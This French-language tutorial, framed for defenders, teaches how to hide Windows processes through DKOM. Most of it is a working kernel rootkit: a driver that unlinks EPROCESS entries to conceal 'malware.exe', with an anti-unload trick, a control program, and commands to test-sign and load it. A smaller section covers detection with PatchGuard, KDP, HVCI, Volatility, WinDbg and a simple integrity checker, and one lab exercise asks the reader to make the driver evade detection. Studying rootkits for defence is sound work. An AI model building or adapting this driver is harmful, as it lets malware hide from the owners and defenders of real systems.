Low-Level Maestro Series 2026 | Unlink EPROCESS doubly-linked list, evasion KDP/HVCI lab, anti-unload | Pour les cyberdéfenseurs qui veulent comprendre les rootkits kernel réels et leurs détections
Le Direct Kernel Object Manipulation (DKOM) est une technique avancée d'évasion kernel qui permet de cacher des processus en manipulant directement les structures de données du noyau Windows. En 2026, avec l'introduction de KDP (Kernel Data Protection) et HVCI (Hypervisor-protected Code Integrity), ces techniques sont limitées en production mais restent cruciales à comprendre pour les cyberdéfenseurs.
bcdedit /set testsigning onEPROCESS est la structure kernel qui représente un processus dans Windows. Elle contient toutes les informations sur un processus, y compris ses threads, son espace d'adressage, et ses liens dans les listes kernel.
Windows utilise des listes doublement chaînées pour organiser les objets kernel. Pour les processus, la liste principale est pointée par PsActiveProcessHead.
| Liste | Description | Structure |
|---|---|---|
| ActiveProcessLinks | Liste de tous les processus actifs | LIST_ENTRY dans EPROCESS |
| ThreadListHead | Liste des threads du processus | LIST_ENTRY dans EPROCESS |
| SessionProcessLinks | Liste des processus par session | LIST_ENTRY dans EPROCESS |
Le DKOM fonctionne en manipulant directement les pointeurs dans les listes chaînées :
ActiveProcessLinks (0x440) varient selon les versions de Windows. Toujours vérifier avec WinDbg : dt nt!_EPROCESS
Vérifier avec : !process 0 0 puis dt nt!_EPROCESS @$proc
# 1. Compiler avec Visual Studio 2022 + WDK
# Configuration : Driver -> Test Signing -> x64
# 2. Signer le driver (test signing)
signtool sign /fd SHA256 /a /tr http://timestamp.digicert.com /td SHA256 dkom.sys
# 3. Charger le driver
sc create dkom type= kernel binPath= C:\drivers\dkom.sys
sc start dkom
# 4. Vérifier le chargement
sc query dkom
driverquery
# 5. Décharger (si nécessaire)
sc stop dkom
sc delete dkom
// ====================================================================
// dkom.c - DKOM Process Hiding Driver
// Windows 11 24H2 compatible avec détection d'offsets dynamique
// PCTAMALOU Research 2026 - platon-y
// ====================================================================
#include
#include
#define DRIVER_TAG 'modK' // "DKom" en little-endian
#define TARGET_PROCESS_NAME L"malware.exe"
#define MAX_PROCESS_NAME 256
// Prototypes des fonctions non documentées
NTKERNELAPI PPEB NTAPI PsGetProcessPeb(PEPROCESS Process);
NTKERNELAPI UCHAR* NTAPI PsGetProcessImageFileName(PEPROCESS Process);
// Structure pour stocker les offsets dynamiques
typedef struct _DKOM_CONFIG {
ULONG ActiveProcessLinksOffset;
ULONG UniqueProcessIdOffset;
ULONG ImageFileNameOffset;
BOOLEAN OffsetsValid;
} DKOM_CONFIG, *PDKOM_CONFIG;
// Variables globales
DKOM_CONFIG g_DkomConfig = {0};
PEPROCESS g_TargetProcess = NULL;
LIST_ENTRY g_OriginalLinks = {0};
BOOLEAN g_ProcessHidden = FALSE;
// ====================================================================
// FONCTION : DkomFindOffsets
// DESCRIPTION : Trouve les offsets dynamiquement pour la version de Windows
// ====================================================================
NTSTATUS DkomFindOffsets() {
PEPROCESS systemProcess;
ULONG_PTR processAddress;
// Obtenir l'EPROCESS de System (pid 4)
systemProcess = PsInitialSystemProcess;
if (!systemProcess) {
DbgPrint("[DKOM] Failed to get System process\n");
return STATUS_UNSUCCESSFUL;
}
// Méthode 1 : Recherche pattern pour ActiveProcessLinks
// Nous savons qu'il est proche du début de EPROCESS
// Pour Windows 11 24H2, essayons différents offsets
ULONG possibleOffsets[] = {0x440, 0x448, 0x450, 0x438};
for (int i = 0; i < sizeof(possibleOffsets)/sizeof(possibleOffsets[0]); i++) {
PLIST_ENTRY listEntry = (PLIST_ENTRY)((ULONG_PTR)systemProcess + possibleOffsets[i]);
// Vérifier si c'est une liste valide
if (MmIsAddressValid(listEntry) &&
MmIsAddressValid(listEntry->Flink) &&
listEntry->Flink != NULL &&
listEntry->Blink != NULL) {
g_DkomConfig.ActiveProcessLinksOffset = possibleOffsets[i];
DbgPrint("[DKOM] Found ActiveProcessLinks at offset: 0x%X\n", possibleOffsets[i]);
break;
}
}
if (g_DkomConfig.ActiveProcessLinksOffset == 0) {
DbgPrint("[DKOM] Failed to find ActiveProcessLinks offset\n");
return STATUS_UNSUCCESSFUL;
}
// Trouver UniqueProcessId (généralement 0x10 après ActiveProcessLinks)
g_DkomConfig.UniqueProcessIdOffset = g_DkomConfig.ActiveProcessLinksOffset + 0x10;
// Trouver ImageFileName (peut varier)
g_DkomConfig.ImageFileNameOffset = g_DkomConfig.ActiveProcessLinksOffset + 0x20;
g_DkomConfig.OffsetsValid = TRUE;
return STATUS_SUCCESS;
}
// ====================================================================
// FONCTION : DkomFindProcessByName
// DESCRIPTION : Trouve un processus par son nom
// ====================================================================
PEPROCESS DkomFindProcessByName(PWCHAR ProcessName) {
PEPROCESS currentProcess;
PLIST_ENTRY listHead, currentEntry;
CHAR imageName[16];
if (!g_DkomConfig.OffsetsValid) {
DbgPrint("[DKOM] Offsets not initialized\n");
return NULL;
}
// Obtenir PsActiveProcessHead (non exporté, trouvé dynamiquement)
// Note : Dans la réalité, on utiliserait pattern scanning
listHead = (PLIST_ENTRY)((ULONG_PTR)PsInitialSystemProcess +
g_DkomConfig.ActiveProcessLinksOffset);
currentEntry = listHead->Flink;
while (currentEntry != listHead) {
// Convertir LIST_ENTRY en EPROCESS
currentProcess = CONTAINING_RECORD(currentEntry, EPROCESS,
ActiveProcessLinks);
// Obtenir le nom du processus
RtlZeroMemory(imageName, sizeof(imageName));
RtlCopyMemory(imageName,
(PUCHAR)currentProcess + g_DkomConfig.ImageFileNameOffset,
sizeof(imageName) - 1);
DbgPrint("[DKOM] Checking process: %s\n", imageName);
// Comparer avec le nom cible
if (_stricmp(imageName, "malware.exe") == 0) {
DbgPrint("[DKOM] Found target process: %s\n", imageName);
return currentProcess;
}
currentEntry = currentEntry->Flink;
// Sécurité : éviter les boucles infinies
if (!MmIsAddressValid(currentEntry)) {
break;
}
}
return NULL;
}
// ====================================================================
// FONCTION : DkomHideProcess
// DESCRIPTION : Cache un processus via DKOM
// ====================================================================
NTSTATUS DkomHideProcess(PEPROCESS TargetProcess) {
PLIST_ENTRY processLinks, prevEntry, nextEntry;
if (!TargetProcess || !g_DkomConfig.OffsetsValid) {
return STATUS_INVALID_PARAMETER;
}
// Obtenir les liens du processus
processLinks = (PLIST_ENTRY)((ULONG_PTR)TargetProcess +
g_DkomConfig.ActiveProcessLinksOffset);
// Sauvegarder les liens originaux pour restoration
g_OriginalLinks.Flink = processLinks->Flink;
g_OriginalLinks.Blink = processLinks->Blink;
// Unlink: rendre le processus invisible
// Flink->Blink = Blink
// Blink->Flink = Flink
prevEntry = processLinks->Blink;
nextEntry = processLinks->Flink;
// Vérifier la validité des adresses
if (!MmIsAddressValid(prevEntry) || !MmIsAddressValid(nextEntry)) {
DbgPrint("[DKOM] Invalid list entry addresses\n");
return STATUS_ACCESS_VIOLATION;
}
// Effectuer l'unlink
prevEntry->Flink = nextEntry;
nextEntry->Blink = prevEntry;
// Réinitialiser les liens du processus caché (optionnel)
processLinks->Flink = processLinks;
processLinks->Blink = processLinks;
g_TargetProcess = TargetProcess;
g_ProcessHidden = TRUE;
DbgPrint("[DKOM] Process successfully hidden\n");
return STATUS_SUCCESS;
}
// ====================================================================
// FONCTION : DkomRestoreProcess
// DESCRIPTION : Restaure un processus caché
// ====================================================================
NTSTATUS DkomRestoreProcess() {
PLIST_ENTRY processLinks, prevEntry, nextEntry;
if (!g_TargetProcess || !g_ProcessHidden) {
return STATUS_NOT_FOUND;
}
// Obtenir les liens du processus
processLinks = (PLIST_ENTRY)((ULONG_PTR)g_TargetProcess +
g_DkomConfig.ActiveProcessLinksOffset);
// Re-link: réinsérer le processus dans la liste
// processLinks->Flink = original.Flink
// processLinks->Blink = original.Blink
// original.Flink->Blink = processLinks
// original.Blink->Flink = processLinks
prevEntry = g_OriginalLinks.Blink;
nextEntry = g_OriginalLinks.Flink;
if (!MmIsAddressValid(prevEntry) || !MmIsAddressValid(nextEntry)) {
DbgPrint("[DKOM] Invalid saved entry addresses\n");
return STATUS_ACCESS_VIOLATION;
}
// Restaurer les liens
processLinks->Flink = nextEntry;
processLinks->Blink = prevEntry;
nextEntry->Blink = processLinks;
prevEntry->Flink = processLinks;
g_ProcessHidden = FALSE;
DbgPrint("[DKOM] Process successfully restored\n");
return STATUS_SUCCESS;
}
// ====================================================================
// FONCTION : DkomAntiUnloadProtection
// DESCRIPTION : Empêche le déchargement non autorisé du driver
// ====================================================================
VOID DkomAntiUnloadProtection(PDRIVER_OBJECT DriverObject) {
// Technique 1: Référence count trick
PVOID object = NULL;
NTSTATUS status;
// Obtenir une référence supplémentaire sur nous-mêmes
status = ObReferenceObjectByPointer(DriverObject,
FILE_ANY_ACCESS,
NULL,
KernelMode);
if (NT_SUCCESS(status)) {
DbgPrint("[DKOM] Anti-unload protection activated\n");
}
// Technique 2: Hooker DriverUnload pour le bloquer
// (À implémenter avec soin pour éviter les BSOD)
}
// ====================================================================
// FONCTION : DkomHandleIoControl
// DESCRIPTION : Gère les IOCTLs depuis l'espace utilisateur
// ====================================================================
NTSTATUS DkomHandleIoControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
PIO_STACK_LOCATION ioStack;
NTSTATUS status = STATUS_SUCCESS;
ULONG ioControlCode;
PVOID inputBuffer;
ULONG inputLength;
UNREFERENCED_PARAMETER(DeviceObject);
ioStack = IoGetCurrentIrpStackLocation(Irp);
ioControlCode = ioStack->Parameters.DeviceIoControl.IoControlCode;
inputBuffer = Irp->AssociatedIrp.SystemBuffer;
inputLength = ioStack->Parameters.DeviceIoControl.InputBufferLength;
switch (ioControlCode) {
case IOCTL_DKOM_HIDE_PROCESS:
DbgPrint("[DKOM] Received HIDE_PROCESS command\n");
if (g_DkomConfig.OffsetsValid) {
// Trouver et cacher le processus
PEPROCESS target = DkomFindProcessByName(TARGET_PROCESS_NAME);
if (target) {
status = DkomHideProcess(target);
} else {
status = STATUS_NOT_FOUND;
DbgPrint("[DKOM] Target process not found\n");
}
} else {
status = STATUS_UNSUCCESSFUL;
}
break;
case IOCTL_DKOM_RESTORE_PROCESS:
DbgPrint("[DKOM] Received RESTORE_PROCESS command\n");
status = DkomRestoreProcess();
break;
case IOCTL_DKOM_GET_STATUS:
DbgPrint("[DKOM] Received GET_STATUS command\n");
// Retourner l'état actuel
break;
default:
status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
Irp->IoStatus.Status = status;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
// ====================================================================
// FONCTION : DriverUnload
// DESCRIPTION : Nettoyage à la décharge du driver
// ====================================================================
VOID DriverUnload(PDRIVER_OBJECT DriverObject) {
PDEVICE_OBJECT deviceObject;
DbgPrint("[DKOM] Driver unloading...\n");
// Restaurer le processus avant de se décharger
if (g_ProcessHidden) {
DkomRestoreProcess();
}
// Supprimer le device
deviceObject = DriverObject->DeviceObject;
if (deviceObject) {
IoDeleteDevice(deviceObject);
}
DbgPrint("[DKOM] Driver unloaded successfully\n");
}
// ====================================================================
// FONCTION : DriverEntry
// DESCRIPTION : Point d'entrée principal du driver
// ====================================================================
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
NTSTATUS status;
PDEVICE_OBJECT deviceObject;
UNICODE_STRING deviceName, symLinkName;
UNREFERENCED_PARAMETER(RegistryPath);
DbgPrint("[DKOM] Driver loading...\n");
// Initialiser les offsets
status = DkomFindOffsets();
if (!NT_SUCCESS(status)) {
DbgPrint("[DKOM] Failed to find kernel offsets\n");
return status;
}
// Créer le device
RtlInitUnicodeString(&deviceName, L"\\Device\\DkomDevice");
RtlInitUnicodeString(&symLinkName, L"\\DosDevices\\DkomDevice");
status = IoCreateDevice(DriverObject, 0, &deviceName,
FILE_DEVICE_UNKNOWN, 0, FALSE, &deviceObject);
if (!NT_SUCCESS(status)) {
DbgPrint("[DKOM] Failed to create device\n");
return status;
}
// Créer le symbolic link
status = IoCreateSymbolicLink(&symLinkName, &deviceName);
if (!NT_SUCCESS(status)) {
IoDeleteDevice(deviceObject);
DbgPrint("[DKOM] Failed to create symbolic link\n");
return status;
}
// Configurer les handlers
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DkomHandleIoControl;
DriverObject->DriverUnload = DriverUnload;
// Activer la protection anti-unload
DkomAntiUnloadProtection(DriverObject);
DbgPrint("[DKOM] Driver loaded successfully\n");
DbgPrint("[DKOM] ActiveProcessLinks offset: 0x%X\n",
g_DkomConfig.ActiveProcessLinksOffset);
return STATUS_SUCCESS;
}
// ====================================================================
// FICHIER D'EN-TÊTE : dkom.h
// ====================================================================
#ifdef __cplusplus
extern "C" {
#endif
#define IOCTL_DKOM_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_DKOM_RESTORE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_DKOM_GET_STATUS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#ifdef __cplusplus
}
#endif
// ====================================================================
// dkomctl.c - Application de contrôle utilisateur
// ====================================================================
#include
#include
#include "dkom.h"
int main(int argc, char* argv[]) {
HANDLE hDevice;
DWORD bytesReturned;
BOOL result;
printf("DKOM Control Tool 2026 - PCTAMALOU Research\n");
// Ouvrir le device
hDevice = CreateFileW(L"\\\\.\\DkomDevice",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device. Error: %d\n", GetLastError());
return 1;
}
printf("Device opened successfully\n");
// Menu
printf("\nOptions:\n");
printf("1. Hide target process\n");
printf("2. Restore target process\n");
printf("3. Get status\n");
printf("4. Exit\n");
int choice;
printf("\nEnter choice: ");
scanf("%d", &choice);
switch (choice) {
case 1:
printf("Hiding target process...\n");
result = DeviceIoControl(hDevice,
IOCTL_DKOM_HIDE_PROCESS,
NULL, 0,
NULL, 0,
&bytesReturned,
NULL);
if (result) {
printf("Process hidden successfully\n");
} else {
printf("Failed to hide process. Error: %d\n", GetLastError());
}
break;
case 2:
printf("Restoring target process...\n");
result = DeviceIoControl(hDevice,
IOCTL_DKOM_RESTORE_PROCESS,
NULL, 0,
NULL, 0,
&bytesReturned,
NULL);
if (result) {
printf("Process restored successfully\n");
} else {
printf("Failed to restore process. Error: %d\n", GetLastError());
}
break;
case 3:
printf("Getting status...\n");
// Implémenter selon les besoins
break;
case 4:
printf("Exiting...\n");
break;
default:
printf("Invalid choice\n");
}
CloseHandle(hDevice);
return 0;
}
Détecte et prévient les modifications des structures kernel critiques. Sur Windows 11 24H2, PatchGuard vérifie l'intégrité des listes de processus.
Marque certaines structures kernel comme read-only, rendant le DKOM impossible sans contourner KDP via des vulnérabilités.
Empêche l'exécution de code kernel non signé ou modifié, compliquant le chargement de drivers malveillants.
Scan régulier de la mémoire kernel pour détecter les anomalies dans les structures EPROCESS.
Comparer la liste des processus obtenue via différentes méthodes (API userspace vs scanning kernel).
Détecter les patterns de DKOM via machine learning et analyse comportementale du kernel.
# 1. WinDbg - Analyse kernel
!process 0 0 # Lister tous les processus
dt nt!_EPROCESS # Examiner la structure
!list "nt!PsActiveProcessHead" # Parcourir la liste
# 2. Volatility3 - Analyse mémoire
volatility -f memory.dump windows.pslist
volatility -f memory.dump windows.psscan
volatility -f memory.dump windows.psxview
# 3. Sysinternals Suite
Process Explorer (Vérifier les processus cachés)
Handle64.exe (Examiner les handles kernel)
# 4. PowerShell - Détection cross-view
Get-Process | Select-Object Id, Name
Get-WmiObject Win32_Process | Select-Object ProcessId, Name
# 5. EDR avec capacités kernel
Microsoft Defender for Endpoint
CrowdStrike Falcon
Carbon Black
// ====================================================================
// dkom_detector.c - Détecteur DKOM simple en kernel
// ====================================================================
#include
NTSTATUS CheckProcessListIntegrity() {
PEPROCESS currentProcess;
PLIST_ENTRY listHead, currentEntry, nextEntry;
ULONG processCount = 0;
// Obtenir PsActiveProcessHead (via pattern scanning en réalité)
listHead = (PLIST_ENTRY)((ULONG_PTR)PsInitialSystemProcess + ACTIVE_PROCESS_LINKS_OFFSET);
currentEntry = listHead->Flink;
// Parcourir la liste et vérifier l'intégrité
while (currentEntry != listHead) {
processCount++;
// Vérifier que Flink->Blink == currentEntry
nextEntry = currentEntry->Flink;
if (nextEntry->Blink != currentEntry) {
DbgPrint("[DETECTOR] DKOM detected! Broken link at 0x%p\n", currentEntry);
return STATUS_UNSUCCESSFUL;
}
// Vérifier la validité des adresses
if (!MmIsAddressValid(currentEntry) ||
!MmIsAddressValid(currentEntry->Flink) ||
!MmIsAddressValid(currentEntry->Blink)) {
DbgPrint("[DETECTOR] Invalid address in process list\n");
return STATUS_ACCESS_VIOLATION;
}
currentEntry = nextEntry;
// Limite de sécurité
if (processCount > 1000) {
DbgPrint("[DETECTOR] Process list too long, possible corruption\n");
break;
}
}
DbgPrint("[DETECTOR] Process list integrity check passed: %d processes\n", processCount);
return STATUS_SUCCESS;
}
// Hook PsSetCreateProcessNotifyRoutineEx pour surveiller
NTSTATUS ProcessNotifyCallback(PEPROCESS Process, HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo) {
// Logique de détection avancée
if (CreateInfo) {
// Nouveau processus créé
DbgPrint("[DETECTOR] Process created: PID=%d\n", HandleToULong(ProcessId));
} else {
// Processus terminé
DbgPrint("[DETECTOR] Process terminated: PID=%d\n", HandleToULong(ProcessId));
}
return STATUS_SUCCESS;
}
Objectif : Analyser la structure EPROCESS avec WinDbg.
# Commandes WinDbg pour l'analyse
# 1. Charger les symbols
.symfix
.reload
# 2. Examiner la structure EPROCESS
dt nt!_EPROCESS
dt nt!_EPROCESS -r
# 3. Trouver les offsets actuels
!process 0 0
.process /i
dt nt!_EPROCESS @$proc
# 4. Parcourir la liste des processus
!list "nt!PsActiveProcessHead"
# 5. Vérifier l'intégrité
!list -t nt!_LIST_ENTRY.Flink -x "dt nt!_EPROCESS -y UniqueProcessId @$extret" nt!PsActiveProcessHead
Objectif : Compiler, charger et tester le driver DKOM.
Objectif : Développer un outil de détection.
Objectif : Améliorer le driver pour contourner les détections.
Le DKOM (Direct Kernel Object Manipulation) reste une technique fondamentale pour comprendre les rootkits kernel et les mécanismes d'évasion avancés. En 2026, avec les protections comme KDP et HVCI, l'implémentation directe est limitée mais la connaissance de ces techniques est essentielle pour les cyberdéfenseurs.